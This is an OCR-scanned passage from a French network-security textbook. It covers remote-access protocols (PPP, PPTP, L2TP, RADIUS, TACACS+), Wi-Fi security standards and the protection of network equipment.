systeme dans un VLAN dedie (Virtual LAN), des regies de filtrage specifiques, etc. 



Assurer le controle des acces distants classiques 

Les acces distants au reseau d'entreprise traversent generalement des reseaux publics. Ces 
derniers offrent la capillarite necessaire pour garantir des connexions a des couts locaux. 

Ces reseaux publics sont soit le reseau telephonique de bout en bout, soit le reseau telepho- 
nique pour 1' acces puis le reseau Internet jusqu'au reseau d'entreprise, soit encore des 
acces xDSL, Numeris, etc., a Internet ou a des reseaux fermes d'operateurs de telecommu- 
nications jusqu'au reseau d'entreprise. Nous appelons reseaux fermes des reseaux desser- 
vant des protocoles de type X.25, qui offrent un cloisonnement des trafics reseau. 

II est primordial de proteger les PC portables des utilisateurs d'acces distants contre les 
penetrations directes, par virus, etc., pouvant entrainer le vol de mots de passe ou 
d'autres moyens d'authentification non suffisamment proteges. Malgre tous les disposi- 
tifs mis en place, 1' acces est alors rapidement usurpe. 

Les moyens de protection des ordinateurs portables doivent s'appuyer a la fois sur un 
pare-feu local implementant des regies tres restrictives et un systeme antivirus reguliere- 
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ment mis a jour. Ces elements doivent etre sous le controle exclusif d'un groupe d'admi- 
nistrateur arm d'eviter toute erreur de configuration d'un utilisateur. 



Regies de securite pour le controle des acces distants 

Les regies de securite a considerer pour assurer le controle des acces distants sont les suivantes : 

• Les acces distants sont authentifies et chiffres pour toute connexion au reseau d'entreprise. 

• Les adresses IP associees a des acces distants sont situees dans une classe d'adresses IP bien 
determinee afin de faciliter les filtrages ulterieurs par d'autres equipements de securite. 

• Les services offerts pour les acces distants sont limites aux besoins identifies. Aucun acces a une 
information sensible n'est autorise pour les acces distants. 

• Les ordinateurs utilises pour les acces distants implementent un logiciel antivirus ainsi qu'un pare-feu 
local. La configuration est etablie a I'avance et correspond aux standards de securite de I'entreprise. 

• Des controles de securite reguliers des acces distants sont menes a la fois sur les serveurs hebergeant 
les logiciels d'acces distants et sur les bases de donnees ou sont definis et autorises les utilisateurs. 

• La base de donnees des utilisateurs autorises a acceder a distance est periodiquement auditee afin 
d'eliminer les comptes non utilises. 



Le choix du niveau de tunneling et de securite a mettre en ceuvre depend de la maitrise 
que Ton a du reseau. Par exemple, une entreprise devrait fonder sa securite sur des 
tunnels de niveau 3 plutot que sur des tunnels de niveau 2 du fait qu'elle ne maitrise pas 
les arteres de connexion. 

Le tableau 8.1 compare les caracteristiques des differents protocoles d'acces distants 
detailles dans les sections qui suivent. 

Tableau 8.1 Caracteristiques des protocoles d'acces distants 





L2TP 


PPTP 


IPsec 


Mode 


Client-serveur, tunnel 
operateur (L2F) 


Client-serveur 


Client-client, tunnel 
passerelle 


Utilisation 


Acces distant via un tunnel 


Acces distant via un tunnel 


Intranet, extranet, acces 
distant 


Protocole transports 


IP, IPX, NetBEUI, etc. 


IP, IPX, NetBEUI, etc. 


IP 


Service de tunnel 


Point-a-point 


Point-a-point 


Multipoint 


Niveau OSI 


2 (encapsule dans IP) 


2 (encapsule dans IP) 


3 


Partage du tunnel 


Oui 


Oui 


Oui 


Authentification utilisateur 


PAP, CHAP, EAR SPAP 


PAP, CHAP, EAP, SPAP 


Non 


Authentification du paquet 


Le tunnel peut etre 
authentifie. 


Le tunnel peut etre 
authentifie. 


Oui, via I'en-tete AH 


Chiffrement du paquet 


Oui, via un tunnel IPsec 


Oui, via la couche MPPE 
specifique de Microsoft 


Oui, via I'en-tete ESP 


Affectation d'adresses dynamique 


Oui (PPP NCP) 


Oui (PPP NCP) 


Selon les implementa- 
tions 


Gestion des cles 


Non 


Non 


IKE, SKIP 


Resistance aux attaques 


Non 


Non 


Oui 



Protection des acces distants 



209 



Chapitre 8 



PPP (Point-to-Point Protocol) 

Les protocoles associes aux acces distants sont des protocoles de type point-a-point et 
tunnel, capables de faire transiter sur les reseaux des trafics de sessions qui tiennent 
compte des contraintes multiprotocolaires. Le transport simultane de protocoles diffe- 
rents, tels que IP, IPX ou NetBEUI (NetBios Extended User Interface), peut etre encap- 
sule par le protocole PPP (Point-to-Point Protocol). 

Dans une connexion a distance, le protocole entre l'ordinateur portable, incluant le 
modem, et le reseau d' interconnexion, est generalement PPP (Point-to-Point Protocol). 
Ce protocole d' encapsulation de paquets est lui-meme compose de sous-protocoles char- 
ges du controle de liaison, ou LCP (Link Control Protocol), et du controle reseau, ou 
NCP (Network Control Protocol). 

Le controle reseau NCP comporte les sous-protocoles suivants : 

ATCP-AppleTalk 

BCP-Bridging 

BVCP-Banyan Vines 

CCP-PKZIP, Microsoft Point- To-Point Compression, etc. (avec compression) 

DNCP-DECnet Phase IV 

ECP-DES, triple-DES, etc. (avec chiffrement) 

IPCP-Internet 

IPv6CP-IPv6 

IPXCP-IPX 

NBFCP-NetBIOS 

OSINLCP (couches reseau OSI) 

PPP-LEX-LAN 

SDCP-Serial Data 

SNACP-SNA 

XNSCP-XNS IDP 
Le controle de liaison LCP comporte les sous-protocoles suivants : 

BACP (allocation de bande passante) 

LCP 

LQR (qualite des connexions) 

PAP (Password Authentication Protocol) 

CHAP (Challenge Handshake Authentication Protocol) 

EAP (Extensible Authentication Protocol) 
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Moyens d'authentification du protocole PPP 

Plusieurs methodes d'authentification sont disponibles avec le protocole PPP. Ces metho- 
des peuvent offrir une authentification elementaire a l'aide de mots de passe jusqu'a une 
authentification fondee sur des certificats electroniques. 

PAP (Password Authentication Protocol) est un protocole d'authentification qui utilise 
des mots de passe en texte clair. C'est le protocole d'authentification le plus faible. 

MS-CHAP est un processus d'authentification mutuelle qui repose sur un cryptage unidi- 
rectionnel du mot de passe. Les etapes de ce processus sont les suivantes : 

1. Le client fait une demande de connexion au serveur d'authentification d'acces distant. 

2. Le serveur d'acces distant envoie une demande de verification au client, qui consiste 
en un identificateur de session et une chaine d' interrogation arbitraire. 

3. Le client d'acces distant envoie une reponse contenant le nom de l'utilisateur et un 
cryptage unidirectionnel de la chaine d' interrogation re^ue contenant le mot de passe 
de l'utilisateur. 

4. Le serveur d'authentification verifie la reponse du client en appliquant le meme cryp- 
tage unidirectionnel puisqu'il connait le mot de passe de l'utilisateur contenu dans sa 
base de donnees. II renvoie une reponse contenant 1' indication du succes ou de 
l'echec de la tentative de connexion et une reponse authentifiee fondee sur la chaine 
d' interrogation envoy ee. 

5. Le client d'acces distant verifie la reponse d'authentification et, si celle-ci est 
correcte, utilise la connexion. Si la reponse d'authentification est incorrecte, le client 
d'acces distant interrompt la connexion. 

Developpe par Microsoft, MS-CHAP est fonde sur le protocole CHAP et sur des mots de 
passe prealablement cryptes de maniere unidirectionnelle. Les bases de donnees 
d'authentification ne contiennent pas les mots de passe en clair. 

Plutot que de definir d'autres protocoles d'authentification, 1'IETF a prefere definir un 
cadre generique independant de la methode d'authentification. Le protocole EAP (Exten- 
sible Authentication Protocol) offre ce cadre generique et permet de transporter des 
donnees d'authentification entre un client et un serveur (RFC 3748). II est ainsi possible 
de changer de methode d'authentification sans changer le protocole EAP. 

EAP est done uniquement un protocole d' encapsulation, qui est principalement utilise 
dans les environnements PPP et IEEE 802.1 1. II ne comprend que quatre types de messa- 
ges (requete, reponse, succes et echec), mais plusieurs dizaines de methodes d'authenti- 
fication sont disponibles, notamment les suivantes : MD5 -Challenge, OTP (One Time 
Password), GTC (Generic Token Card), RSA Public Key Authentication, DSS Unilateral, 
KEA, KEA- VALIDATE, EAP-TLS, Defender Token (AXENT), RSA Security SecurlD 
EAP, Arcot Systems EAP, EAP-Cisco Wireless, EAP-SIM, SRP-SHA1 Part 1, SRP- 
SHA1 Part 2, EAP-TTLS, Remote Access Service, EAP-AKA, EAP-3Com, PEAP, MS- 
EAP-Authentication, Mutual Authentication w/Key Exchange, CRYPTOCard, EAP- 
MSCHAP-V2, DynamID, Rob EAP, SecurlD EAP, MS-Authentication-TLV, SentriNET, 
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EAP-Actiontec Wireless, Cogent Systems Biometrics Authentication EAP, AirFortress 
EAP, EAP-http, Digest, SecureSuite EAP, DeviceConnect EAP, EAP-SPEKE, EAP- 
MOBAC, EAP-FAST, EAP Flexible Authentication via Secure Tunneling, ZLXEAP, 
ZoneLabs EAP, EAP-Link, EAP-PAX, etc. 

Le protocole EAP est con^u pour repondre a la demande croissante d'authentification des 
utilisateurs d' acces distants en employant d'autres peripheriques de securite que les mots 
de passe. Grace a ce protocole, il est possible d'ajouter la prise en charge de plusieurs 
modeles d'authentification, notamment les cartes a jeton, les mots de passe a usage 
unique, l'authentification par cle publique utilisant des cartes a puce, etc. Cela permet 
d' employer un serveur d'arriere-plan pour implementer les divers mecanismes d'authen- 
tification, le serveur authentifiant se chargeant simplement de transmettre les elements 
d' authentification. 



PPTP (Point-to-Point Tunneling Protocol) 

Le protocole PPTP permet de creer un reseau prive virtuel par la prise en charge de proto- 
cols tels que IP, NetBEUI, IPX, etc. Ce protocole a ete developpe par Microsoft en 
collaboration avec Ascend et 3Com. 

PPTP encapsule, par le biais d'un tunnel, les protocoles IP, IPX et NetBEUI, eux-memes 
encapsules dans des paquets PPP. II utilise pour cela le protocole GRE (Generic Routing 
Encapsulation), comme l'illustre la figure 8.14. 



Figure 8.14 
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MPPE (Microsoft Point-to-Point Encryption) crypte les donnees des connexions d' acces 
distants PPP ou des connexions VPN PPTP. Les methodes de chiffrement MPPE utilisent 
des cles de longueur variable, de 40 a 128 bits. Ces methodes sont prises en charge par le 
chiffrement des donnees (RC4). MPPE assure la securite des donnees entre la connexion 
du client distant (connexion PPTP) et le serveur d' acces distant. 

Les methodes d'authentification de PPTP heritent des methodes d'authentification du 
protocole PPP. 

Pour etablir une session PPTP, l'ordinateur client, ou PAC (PPTP Access Concentrator), 
se connecte a distance via le protocole PPP a un concentrateur d' acces NAS (Network 
Access Server) de son FAI. Puis il etablit une seconde session au serveur reseau PPTP, ou 
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PNS (PPTP Network Server), arm de negocier les termes du tunnel PPTP. L'authentiflca- 
tion de l'utilisateur est alors demandee arm de valider la session entrante en s'appuyant 
sur les methodes d'authentiflcation heritees de PPP. 

Le tunnel etabli sur le reseau IP consiste en une encapsulation de niveau 3 par le proto- 
cole IP/GRE des paquets PPP, comme illustre a la figure 8.15. 



Figure 8.15 
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PPTP utilise en parallele une connexion de controle entre le couple PAC-PNS via une 
session TCP sur le port 1723, de fa^on a transmettre les informations de controle et de 
gestion des appels PPTP, ainsi qu'un tunnel IP entre le couple PAC-PNS pour le transport 
des paquets PPP encapsules par GRE (service numero 47). 



L2TP (Layer 2 Tunneling Protocol) 

L2TP est un protocole de tunneling identique a bien des egards a PPTP et fonde sur la 
convergence des protocoles PPTP et L2F. 

L2TP encapsule, par le biais d'un tunnel, les protocoles IP, IPX et NetBEUI, eux-memes 
encapsules dans des paquets PPP. II utilise pour cela des paquets IP/UDP sur les reseaux 
IP pour le transport des tunnels L2TP, comme illustre a la figure 8.16. 

Contrairement a PPTP, L2TP n' utilise pas MPPE pour crypter les paquets PPP mais 
s'appuie sur les services de securite IPsec. 

L' encapsulation des paquets L2TP dans IPsec consiste en une premiere encapsulation de 
la trame PPP (contenant un paquet IP ou IPX ou une trame NetBEUI) dans un en-tete 
UDP, suivie d'une encapsulation dans une trame IPsec. 

Les methodes d'authentiflcation de L2TP heritent des methodes d'authentiflcation du 
protocole PPP. 
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Figure 8.16 
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Pour etablir une session L2TP, le client se connecte a distance via le protocole PPP a 
un concentrateur d'acces L2TP, ou LAC (L2TP Access Concentrator), de son FAI. Ce 
dernier etablit un tunnel vers le serveur reseau L2TP, ou LNS (L2TP Network 
Server), qui est generalement realise par un routeur. II est aussi possible que la fonc- 
tion de LAC soit directement realisee par l'ordinateur client, comme nous le verrons 
par la suite. 

L' authentication de l'utilisateur est demandee arm de valider la session entrante en 
s'appuyant sur les methodes d'authentiflcation heritees de PPP. Le tunnel etabli sur le 
reseau IP consiste en une encapsulation de niveau 3 par le protocole IP/UDP des paquets 
PPP, comme illustre a la figure 8.17. 
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L2TP utilise en parallele, sur un tunnel donne entre le couple LAC-PNS, les messages 
de controle, de fa^on a gerer les sessions, ainsi que les paquets PPP encapsules par 
L2TP et reposant sur UDP (port 1701). Dans le cas ou le client gere la fonction L2TP, 
il doit gerer deux sessions PPP, Tune avec le point d'acces reseau et 1' autre avec le 
point d'acces. 
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SSH (Secure SHell) 

SSH permet de rediriger n'importe quel flux TCP en mode tunnel dans une session SSH. 
Le flux de 1' application consideree est alors encapsule a l'interieur du tunnel cree par la 
connexion, ou session, SSH. 

Le protocole PPP, qui est generalement utilise pour etablir une interconnexion a distance 
a un reseau en se positionnant au niveau de la couche 2 OSI, permet aussi, s'il est redirige 
dans une session SSH, de creer un tunnel IP entre deux systemes relies par un reseau. 

II est ainsi possible de creer un reel tunnel IP a travers SSH en encapsulant tout d'abord 
le trafic IP dans des paquets PPP, puis en redirigeant ces paquets PPP dans une session 
SSH prealablement etablie (voir figure 8.18). 



Figure 8.18 

Tunnel IP a travers SSH 
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L' autre extremite realise le cheminement inverse pour retrouver les paquets IP initiaux. 
L' option permettant de relay er les paquets au niveau de la pile protocolaire IP des syste- 
mes concernes doit etre activee. 



SSL (Secure Sockets Layer) 

SSL permet d' etablir une session client serveur securisee au niveau de la couche session 
du modele OSI. 

Le protocole PPP est generalement utilise pour etablir une interconnexion a distance a un 
reseau en se positionnant au niveau de la couche 2 OSI. II permet en outre, comme prece- 
demment, de creer un tunnel IP entre deux systemes relies par un reseau. 

Pour creer le tunnel IP a travers SSL, il sufflt d'encapsuler le trafic IP dans des paquets 
PPP puis de rediriger ces paquets PPP dans une session SSL (voir figure 8.19). 
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Figure 8.19 

Tunnel IP a trovers SSL 





• 










• 
• 

SSL (445) 

• 
• 


• 
• 
• 
• 
• | 


Tunnel SSL 




• i 
• | 




v 




Trafic 




TCP (6) 








t 










IP (forwarding *•.. 

•* • 








a: 

• 
• 
• 


• 
• 
• 
• 
• 
• 


1 • 

J* 

• z 
• 

l 






• 

PPP 

• 




• 
• 
• 










• 





Trafic 



Reseau local 



Protocoles d'authentification usuels des acces distants 

L' authentication est la premiere etape a realiser lors d'un acces distant, avant les etapes 
d'autorisation et de journalisation des transactions. 

De nombreux protocoles ont ete concus dans cette optique, tels TACACS+, RADIUS 
(Remote Authentication Dial-In User Server), Kerberos, etc. 

Les protocoles RADIUS et TACACS+ sont les plus utilises dans le monde des opera- 
teurs de telecommunications pour leur simplicite d' implementation et leur efficacite. 
Kerberos est surtout utilise pour la gestion des authentifications au sein d'un systeme 
d' information. 

Avant de decrire ces protocoles, il faut bien faire la difference entre l'utilisateur et le 
client TACACS+ ou RADIUS, car, dans la plupart des cas, le client TACACS+ ou 
RADIUS ne s' execute pas sur le systeme de l'utilisateur. L'utilisateur se connecte gene- 
ralement a distance au point d' entree du reseau a l'aide du protocole PPR Un client 
TACACS+ ou RADIUS s' execute sur ce point d' entree afin de relay er la demande au 
serveur TACACS+ ou RADIUS, comme illustre a la figure 8.20. 



Figure 8.20 
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Dans ce type d'acces tres repandu, les elements de chiffrement realises par les protocoles 
TACACS+ et RADIUS sur les informations echangees ne s'appliquent que sur une partie 
du trafic entre le client et le serveur TACACS+/RADIUS. 

TACACS+ 

TACACS+ est la derniere version du protocole TACACS. Developpe a l'origine par BBN 
puis repris par Cisco, il a ete etendu une premiere fois avec XTACACS (extended 
TACACS), compatible avec TACACS, puis par TACACS+. 

TACACS+ utilise le protocole TCP et le port 49 pour son transport, contrairement a 
TACACS, qui s'appuie sur UDR II gere separement les trois fonctions AAA (Authentica- 
tion, Authorization, Accounting), c'est-a-dire l'authentification, 1' autorisation et la jour- 
nalisation des evenements : 

• Authentification. Pour verifier l'identite de l'utilisateur, TACACS+ herite des 
methodes d' authentification du protocole PPP, c'est-a-dire PAP, CHAP et EAP, 
incluant pour la derniere methode la possibilite d'utiliser des cartes, ou tokens. Les 
echanges d' authentification sont elementaires. lis s'appuient sur des demandes 
d' authentification de la part du client et des reponses d' authentification de la part du 
serveur. Une base de donnees situee sur le serveur d'acces distant sur lequel s' execute 
le serveur TACACS+ gere l'ensemble des utilisateurs. 

• Autorisation. Apres l'etape d' authentification de l'utilisateur, il s'agit d'assigner un 
profil d' utilisation ou de droits d'acces a la ressource accedee. Les echanges d' autori- 
sation sont egalement elementaires. lis s'appuient sur des demandes d' autorisation de 
la part du client et des reponses d' autorisation de la part du serveur. Un profil d' auto- 
risation sur des ressources reseau contient a la fois la liste des equipements autorises a 
etre accedes et celle des commandes autorisees. II s'agit d'une option tres importante 
pour attribuer des droits de lecture sans possibilite de modification. Les profils sont 
stockes sur le systeme hebergeant le serveur TACACS+. 

• Journalisation des evenements. II s'agit de connaitre toutes les actions menees par un 
utilisateur a des fins de comptabilite pour la facturation du service reseau ou a des fins 
d' investigation pour la gestion du reseau. Les informations disponibles sont les 
demandes d' authentification afin d'ouvrir une session, les fermetures de session ainsi 
que les actions executees durant une session donnee. Si plusieurs serveurs TACACS+ 
sont deployes, une consolidation des journaux d'activite doit etre realisee afin de 
correler les evenements entre eux. 

Les transactions entre un client TACACS+ et un serveur TACACS+ sont authentifiees par 
le biais d'un secret partage, qui n'est jamais transmis sur le reseau. Les donnees echan- 
gees lors de ces transactions sont chiffrees a l'aide d'une fonction XOR appliquee sur les 
donnees et une empreinte calculee a l'aide du secret partage. Ces protections ne s'appli- 
quent pas entre le client d'acces distant et le point d'acces reseau si c'est ce dernier qui 
execute le client TACACS+. 
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RADIUS 

Cree par Livingston Enterprises, RADIUS est normalisee par les RFC 2138 et 2139 de 
1'IETF (Internet Engineering Task Force). 

II utilise le protocole UDP et le port 1645 — bien qu'il doive etre normalement configure 
sur le port 1812 — et gere les deux premieres fonctions AA (Authentication, Authoriza- 
tion) conjointement et la troisieme (Accounting) separement. 

Une possibilite native du protocole est d'agir comme relais de l'authentification vers 
d'autres serveurs d'authentification, qu'ils soient RADIUS ou autres (AXENT, 
SecurelD, etc.). Cela permet d'employer un serveur d'arriere-plan pour implementer les 
divers mecanismes d'authentification, tandis que le serveur authentifiant se charge de 
transmettre les elements d'authentification (voir figure 8.21). 



Figure 8.21 
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Tout comme TACACS+, RADIUS herite des methodes d'authentification du protocole 
PPR Les echanges d'authentification/autorisation s'appuient sur des demandes (de la 
part du client) et des reponses (de la part du serveur). Une base de donnees situee sur le 
serveur d'acces distant sur lequel s'execute le serveur RADIUS gere l'ensemble des utili- 
sateurs RADIUS ainsi que leurs profils. L'etape preliminaire permet d'authentifier et 
d'autoriser un utilisateur. II y a done, par rapport a TACACS+, gain d'echange de messa- 
ges entre le client et le serveur. 



Assurer le controle des acces distants WI-FI 

Les acces a distance a un reseau sans fil ont ete dermis en 1997 par le standard 
IEEE 802.11 . Cela couvre les couches MAC et Phy de communication entre un equipe- 
ment Wireless LAN et un point d'acces ou deux equipements Wireless LAN (peer-to- 
peer), comme illustre a la figure 8.22. 

Les elements constituant un reseau sans fil sont les suivants : 

• Point d'acces : se comporte comme une passerelle entre le reseau sans fil et le reseau 
filaire. 

• Carte Wi-Fi : installee dans le systeme desirant se connecter au reseau sans fil. 

Le SSID (Service Set Identifier) identifie le reseau sans fil et est configure sur le point 
d'acces et le client ou appris dynamiquement par le client. 
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Figure 8.22 

Types de topologies Wi-Fi 
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Cote securite, la norme 802.1 1 a deflni le protocole WEP (Wired Equivalent Privacy) arm 
d'assurer la confidentialite et l'integrite des donnees. De plus, elle a defini deux mecanis- 
mes pour gerer le controle d'acces et 1'authentiflcation du poste utilisateur (aucune 
authentification, authentiflcation fondee sur un secret partage). 

Les principales faiblesses de securite du standard 802.11 sont les suivantes : 

• Le vecteur d' initialisation utilise pour le chiffrement des donnees est trop court et 
predictable. 

• La cle maitre utilisee pour le chiffrement des donnees est trop courte. 

• II n'y a pas de gestion de cle dynamique. 

• Le protocole d' authentiflcation est trop faible (autorisation non mutuelle). 

Le controle d'integrite s'appuie sur un checksum lineaire. 

Pour pallier les faiblesses de securite du protocole WEP, de nombreuses initiatives ont vu 
le jour au sein de la Wi-Fi Alliance arm de renforcer la securite de ces acces, notamment 
WPA (Wi-Fi Protected Access), qui implemente les fonctionnalites suivantes : 

Mecanisme de negotiation d' authentiflcation fonde sur EAP ou PSK (Pre-shared Key). 

Mecanisme de gestion et de distribution de cles TKIP (Temporal Key Integrity 
Protocol). 

Mecanisme d'integrite des trames TKIP + algorithme Michael. 

Compatibility hardware avec le pare existant : seule une migration logicielle est 
necessaire. 

Compatibilite avec le WEP. 

Un nouveau protocole de chiffrement et de controle d'integrite. 

Le tableau 8.3 recapitule les caracteristiques des principaux standards de securite Wi-Fi. 
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Tableau 8.3 Caracteristiques des standards de securite Wi-Fi 





WEP 


WPA 


802.11 i 


Chiffrement 


RC4 


RC4 


AES 


Longueur de la cle 


40/1 04 bits 


128 bits 


1 28 bits 


Integrite des donnees 


CRC-32 


Michael 


CBC-MAC 


Integrite des en-tetes 


Non 


Michael 


CBC-MAC 


Controle des attaques par rejeu 


Non 


Vecteur d'initialisation 


Vecteur d'initialisation 


Gestion des cles 


Non 


802. 1X 


802.1X 


Taille du vecteur d'initialisation 


24 bits 


48 bits 


48 bits 


Cle par paquet 


Non 


Oui 


Possible 



Les approches WPA et 802. Hi renforcent l'authentification grace aux differents types 
d'authentification EAP possibles (voir tableau 8.4). 



Type d'EAP 
EAP-MD5 



EAP-LEAP (Lightweight EAP) 

EAP-TLS (Transport Level 
Security) 

EAP-TTLS (Tunneled TLS) 



Tableau 8.4 Caracteristiques des authentif ications EAP 



Description 

Adaptation du protocole CHAP de PPP Le client s'authentifie a I'aide d'un couple login/mot 
de passe. Bien qu'aucun mot de passe ne transite lors de la phase d'authentification, cette 
methode est vulnerable aux attaques par dictionnaire. 

Version amelioree d'EAP-MD5. Cette methode est vulnerable aux attaques par dictionnaire. 

Le client et le serveur s'authentifient de maniere mutuelle a I'aide de certificats X.509. Un 
tunnel TLS s'etablit pour echanger d'autres donnees confidentielles. 

EAP-TTLS est une extension de EAP-TLS dans laquelle ou une ouverture de connexion 
TLS est initiee entre client et serveur. Le client peut s'authentifier a I'aide d'un couple login/ 
mot de passe protege par un tunnel TLS prealablement etabli. 



EAP-PEAP (Protected EAP) 



EAP-PEAP ressemble a EAP-TTLS par I'ouverture d'un tunnel TLS destine a proteger les 
elements d'authentification envoyes par le client au serveur. 



Un dialogue s'etablit done entre le client, le point d' acces et le serveur d'authentification 
afin de valider l'acces d'un utilisateur. La figure 8.23 illustre les differentes couches 
reseau necessaires au controle des acces des clients. 

Le tableau 8.5 recapitule les caracteristiques de l'authentification cote serveur et client 
des differents types d'authentification EAP. 

Bien que les acces Wi-Fi aient souffert de serieuses lacunes en matiere de securite, les 
derniers standards offrent maintenant de solides contre-mesures pour assurer la securite 
et le deploiement de tels acces reseau. 

II reste necessaire de limiter 1' utilisation du Wi-Fi dans un reseau d'entreprise afin de 
controler les reseaux dits ad hoc. Dans de tels reseaux, les elements classiques de secu- 
rite tels que les pare-feu, etc., pourraient etre tout simplement contournes, ce qui violerait 
les principes de base d'une politique de securite reseau. 
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Figure 8.23 

Acces a un reseau via Wi-Fi 
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Tableau 8.5 Caracteristiques des authentif ications EAP 





EAP-MD5 


EAP-LEAP 


EAP-TLS 


EAP-TTLS 


EAP-PEAP 


Authentification du serveur 


Aucune 


Mot de passe 
(hash) 


Certificat 


Certificat 


Certificat 


Authentification du client 


Mot de passe 
(hash) 


Mot de passe 
(hash) 


Certificat 


Certificat, compte/ 
mot de passe 


Certificat, compte/ 
mot de passe 


Distribution dynamique des cles 


Non 


Oui 


Oui 


Oui 


Oui 



L'etablissement de reseaux ad hoc montre aussi la necessite de mettre en place de 
nouveaux outils de securite au sein d'une entreprise, tels que des systemes de detection 
d'intrusion specialises dans l'ecoute de reseaux Wi-Fi. 



En resume 



Plusieurs methodes d'authentification permettent de maitriser les acces distants au reseau 
de l'entreprise. Ces derniers represented une menace serieuse pour l'entreprise si des 
methodes fortes d'authentification ne sont pas mises en oeuvre. Le choix et la mise en 
ceuvre de telles methodes necessitent de connaitre en premier lieu les besoins de securite 
de l'entreprise. 

La protection des acces reseau n'est efflcace que si la protection des systemes reseau est 
effective et que les pirates ne peuvent penetrer le reseau de l'entreprise par des systemes 
mal proteges, evitant ainsi les mecanismes d'authentification. Le chapitre suivant detaille 
ces methodes de protection des equipements reseau. 




Securite des equipements 



reseau 



La securite d'un reseau dependant souvent du maillon le plus faible, il est important de 
normaliser au maximum 1' ensemble des mecanismes de securite afln qu'ils puissent etre 
applicables et maintenus dans le temps. 

Des regies de securite de configuration des systemes reseau (routeur, commutateur, etc.) 
doivent en outre etre clairement deflnies a la fois pour renforcer la securite intrinseque de 
chaque systeme et assurer en toute securite 1' administration du reseau et des services 
associes. 

La protection des systemes reseau concerne a la fois la configuration de ces systemes et 
les protocoles utilises pour le routage et 1' administration du reseau. 

La securite d'un reseau repose principalement sur la protection de ses equipements. La 
securite de ces equipements recouvre les grands domaines suivants : 

• Securite physique. II s'agit de la protection physique des equipements face aux 
menaces de feu, d'inondation, de survoltage, d'acces illegal a la salle informatique, etc. 

• Securite du systeme (Sexploitation. Tout equipement reseau execute un OS (Opera- 
ting System) susceptible de contenir des faiblesses de securite ou des bogues. 

• Securite logique. II s'agit de la configuration de 1' equipement reseau, qui traduit par 
son contenu la politique de securite reseau. 

La securite du systeme d' exploitation n'etant guere a la portee de l'utilisateur, les axes de 
securite se portent naturellement sur la securite physique et logique. 
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La maitrise de la securite de ces equipements reseau permet de se proteger des attaques 
suivantes : 

• Attaques par deni de service visant a exploiter des faiblesses de configuration (attaques 
de type smurf, par exemple, qui broadcastent des paquets IP par rebond via les adresses 
IP d'un equipement reseau). 

• Attaques permettrant d'obtenir un acces non autorise a 1' equipement reseau suite a des 
faiblesses de configuration (attaques de type SNMP, par exemple, avec des commu- 
nautes SNMP triviales). 

• Attaques exploitant un bogue reference de 1' operating system. Cisco, Microsoft et 
d'autres editeurs de systemes d' exploitation disposent desormais d'equipes dediees a 
la securite et a la delivrance de « patchs » pour corriger les bogues. 



Regies de securite des equipements reseau 

Les regies de securite a considerer pour les equipements reseau sont les suivantes : 

• Des regies de securite explicites sont definies pour la configuration des equipements reseau. 

• Tous les acces d'administration aux equipements reseau sont securises au maximum. 

• Des mecanismes d'authentification et de tragabilite des acces sont deployes sur les equipements 
reseau. 

• Les configurations des equipements reseau sont controlees regulierement afin de verifier que les 
regies de securite sont appliquees. 

• Toute configuration est validee avant d'etre implementee. 



Securite physique des equipements 

La securite physique vise a deflnir des perimetres de securite associes a des mesures de 
securite de plus en plus strictes suivant la nature des equipements a proteger. 

D'une maniere generale, tout equipement reseau ou lie au reseau doit etre situe dans des 
locaux dedies, reserves au personnel habilite (badge, cle, etc.). De plus, tous les acces 
doivent etre archives a des fins d' investigation en cas d' incident de securite. 

Tout local contenant des equipements de telecommunications doit etre protege des mena- 
ces telles que l'humidite, le feu, les inondations, la temperature, le survoltage, les coupu- 
res de courant, etc. 

La localisation d'un tel local doit suivre des regies de securite precises. II est preferable 
qu'il ne soit ni au rez-de-chaussee ni au dernier etage d'un immeuble et qu'il ne se situe 
pas dans une zone geographique reputee a risque (inondations, orages, etc.). D'autres 
regies peuvent etre definies selon les criteres de securite de l'entreprise, telles que le 
marquage des materiels, un plan de maintenance pour les pieces de rechange, des normes 
de securite centrales, etc. 

La securite physique merite que chaque entreprise s'y attarde, afin de deflnir une politi- 
que de securite adaptee pour proteger ses equipements les plus critiques. 
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Securite du systeme Sexploitation 

Les systemes d' exploitation des equipements reseau sont une source importante de 
failles potentielles de securite. Cela concerne a la fois les problemes ou faiblesses du 
systeme d' exploitation lui-meme et les services qui y sont implementes. De nombreux 
sites Internet centralisent de telles alertes, comme celui du CERT (Computer Emergency 
Response Team) ou ceux des fournisseurs d' equipements reseau. 

Pour un routeur Cisco, le systeme d' exploitation se nomme 1'IOS (Internet Operating 
System). II offre des services tels que SNMP, pour la supervision de reseau, BGP 
(Border Gateway Protocol), pour le routage, etc. 

Les faiblesses associees au systeme d' exploitation proviennent generalement d'une 
mauvaise implementation ou de mauvaises regies de codage. Ces faiblesses peuvent etre 
exploitees par des attaques de type buffer overflow et donnent la possibilite d'executer du 
code malicieux. 

Ces faiblesses sont generalement difficiles a deceler sans des tests de non-regression et 
de securite complets. Elles proviennent le plus sou vent d'une mauvaise implementation/ 
codage ou d'une mauvaise interpretation du protocole. 

L'universite finlandaise de Oulu oriente ses travaux de recherche vers la detection des 
faiblesses de securite des protocoles reseau les plus communs, tels que SNMP, HTTP, 
LDAP, etc. Ces protocoles sont utilises par la majorite des systemes qui se greffent au 
reseau. Le nom de code du projet est Protos. La figure 9.1 illustre de fa^on schematique 
le principe de fonctionnement de ce projet. 



Figure 9.1 

Processus d' analyse d'un 
protocole 



Protocole a analyser 



Generation de I'ensemble des jeux de syntaxe et de 
tests du protocole 



Moteur generique 



Analyse des resultats et detection 
des tests pertinants 



Lancement d'un test 



Resultat d'un test 




Equipement a tester 




Protos a deja detecte un nombre important de faiblesses de securite et a publie en 
mars 2002 un ensemble de failles touchant le protocole SNMP vl, installe sur la plupart 
des systemes d' exploitation. Cette annonce a suscite beaucoup d' inquietude dans le 
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monde de la securite et des telecommunications. II est en tout cas essentiel, avant toute 
mise en exploitation de services reseau, de renforcer les tests d' integration. 

Dans des equipements de types Cisco et Juniper, le systeme d' exploitation est prive pour 
le premier et public pour le second, comme l'illustre la figure 9.2. Le systeme d'exploita- 
tion FreedBSD, utilise par les equipements Juniper, est plus orthogonal et robuste qu'un 
systeme d' exploitation de type IOS de par les specifications initiales et les objectifs de 
ces systemes. 



Figure 9.2 

Systemes d' exploitation 
Cisco et Juniper 
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Controler en profondeur la securite d'un systeme d'exploitation est une tache ardue, qui 
sort du contexte de cet ouvrage. Bien que les elements de controle se limitent generale- 
ment a la mise a jour de patchs de securite, nous nous concentrons dans les sections 
suivantes sur la configuration de ces equipements. 



Securite logique des equipements 

